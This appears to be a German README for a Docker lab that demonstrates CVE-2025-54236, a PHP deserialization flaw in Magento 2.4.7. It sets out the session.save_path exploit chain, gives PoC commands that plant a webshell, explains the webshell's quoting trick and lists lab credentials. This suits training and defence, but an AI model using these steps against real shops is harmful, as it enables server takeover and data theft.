
Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 (SessionReaper): PHP-Objekt-Deserialisierung, die zu RCE in Magento Open Source 2.4.7 führt.
Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 (SessionReaper): PHP-Object-Deserialisierung mit RCE in Magento Open Source 2.4.7.
Ausschließlich zur Nutzung in kontrollierten Umgebungen. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführen.
CVE-2025-54236 betrifft Magento Open Source und Adobe Commerce bis Version 2.4.7. Die Methode ServiceInputProcessor::getConstructorData() akzeptiert verschachtelte Parameter via JSON, die es ermöglichen, session.save_path zu überschreiben – das Verzeichnis, in dem PHP die Session-Dateien speichert.
Exploitation-Kette:
Guzzle/FW1 via phpggc) wird via /customer/address_file/upload hochgeladen und in pub/media/customer_address/s/e/sess_<id> gespeichert.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} als Konstruktorparameter.session_start() mit der manipulierten PHPSESSID auf, deserialisiert die Gadget-Chain und schreibt ein Webshell in pub/errors/.Voraussetzung: PHP-Sessions müssen als file-based konfiguriert sein (nicht Redis/Memcached).
magento/
├── lab-magento/ # Docker-Lab (verwundbares Magento 2.4.7)
│ ├── Dockerfile # PHP 8.2-FPM mit Magento-Erweiterungen
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Umgebungskonfiguration
│ ├── conf/
│ │ ├── nginx/ # Nginx VirtualHost
│ │ └── php/magento.ini # File-basierte Sessions, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Vollständige Neuinstallation
│ └── 02-demo-setup.sh # Produkt, Payload vorbereiten und Anweisungen ausgeben
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # Haupt-PoC (Autor: alexb616)
└── payloads/
├── shell.php # Webshell mit einfachen Anführungszeichen (vermeidet JSON-Escape)
└── sess_payload.bin # Serialisierte Gadget-Chain (vom Skript generiert)
docker compose)ambionics/phpggcsession_reaper.py sucht das Binary in: System-PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc und lädt als Fallback automatisch das Docker-Image ambionics/phpggcrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 für Elasticsearch)cd lab-magento
# 1. Magento 2.4.7 von Grund auf installieren (~25 Minuten)
bash scripts/install.sh
install.sh führt aus:
composer install --no-devsetup:install mit file-basierten Sessionsdefault (nicht developer – verhindert, dass PHP 8.2-Warnings zu Exceptions werden)setup:static-content:deploywww-data-Berechtigungen in allen StadienNach der Installation vom Root-Verzeichnis (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
RCE überprüfen:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Erwartete Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Alternative Methode (Vektor address, mit echtem Produkt):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Die Admin-URI wird bei der Installation zufällig generiert. Um sie zu finden:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Vom Exploit erstellte Sessions
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Bösartige Session-Datei in media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs in Echtzeit
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Webshell entfernen
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Container stoppen
docker compose -f lab-magento/docker-compose.yml down
# Alles zerstören (Container + Volumes)
docker compose -f lab-magento/docker-compose.yml down -v
Warum einfache Anführungszeichen im Webshell?
Der phpggc Guzzle/FW1 serialisiert das Payload als JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Der PHP-Inhalt ist JSON-kodiert, daher wird " zu \". Die Verwendung von $_GET["cmd"] würde zu $_GET[\"cmd\"] führen – PHP-Parse-Fehler. Die Lösung ist, das Webshell mit einfachen Anführungszeichen zu schreiben: $_GET['cmd'].
Warum Modus default und nicht developer?
Magento im developer-Modus wandelt alle PHP-Warnings in Exceptions um. PHP 8.2 gibt Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 aus, was zu einer 500-Exception im Admin führt. Im default-Modus wird die Warning ignoriert.
Warum befinden sich die Dateien in s/e/?
Magento organisiert Adress-Uploads in pub/media/customer_address/{1. Zeichen}/{2. Zeichen}/Dateiname. Bei Dateien sess_* ist das erste Zeichen s und das zweite e, was immer zu pub/media/customer_address/s/e/ führt.
| Dienst | URL / Host | Anmeldedaten |
|---|
| Magento-Shop | http://localhost:8080/ | - |
| Magento-Admin | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |